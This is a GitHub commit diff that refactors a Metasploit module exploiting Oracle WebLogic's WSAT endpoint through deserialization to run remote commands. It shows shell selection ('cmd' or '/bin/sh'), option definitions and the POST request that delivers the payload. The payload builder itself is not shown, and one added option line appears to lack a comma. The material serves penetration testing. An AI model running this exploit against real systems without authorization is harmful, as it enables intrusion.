Skip to content

Commit c05b440

Browse files
authored
Fix additional feedback
This * uses ternary operators * uses an `RPORT` option shortcut * removes the `xml_payload` variable and instead more explicitly uses the method directly * Uses `OptFloat` for the timeout option to allow partial seconds
1 parent ab89e55 commit c05b440

File tree

1 file changed

+5
-15
lines changed

1 file changed

+5
-15
lines changed

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

Lines changed: 5 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -50,25 +50,17 @@ def initialize(info = {})
5050

5151
register_options([
5252
OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
53-
OptInt.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
54-
OptInt.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20])
53+
Opt::RPORT(7001, true, 'The remote port that the WebLogic WSAT endpoint listens on')
54+
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20])
5555
])
5656
end
5757

5858
def cmd_base
59-
if target_platform == 'win'
60-
return 'cmd'
61-
else
62-
return '/bin/sh'
63-
end
59+
target_platform == 'win' ? 'cmd' : '/bin/sh'
6460
end
6561

6662
def cmd_opt
67-
if target_platform == 'win'
68-
return '/c'
69-
else
70-
return '-c'
71-
end
63+
target_platform == 'win' ? '/c' : '-c'
7264
end
7365

7466
def process_builder_payload
@@ -124,12 +116,10 @@ def process_builder_payload
124116
# followed by the fake return address and then the payload.
125117
#
126118
def exploit
127-
xml_payload = process_builder_payload
128-
129119
send_request_cgi({
130120
'method' => 'POST',
131121
'uri' => normalize_uri(target_uri.path),
132-
'data' => xml_payload,
122+
'data' => process_builder_payload,
133123
'ctype' => 'text/xml;charset=UTF-8'
134124
}, datastore['TIMEOUT'])
135125
end

0 commit comments

Comments
 (0)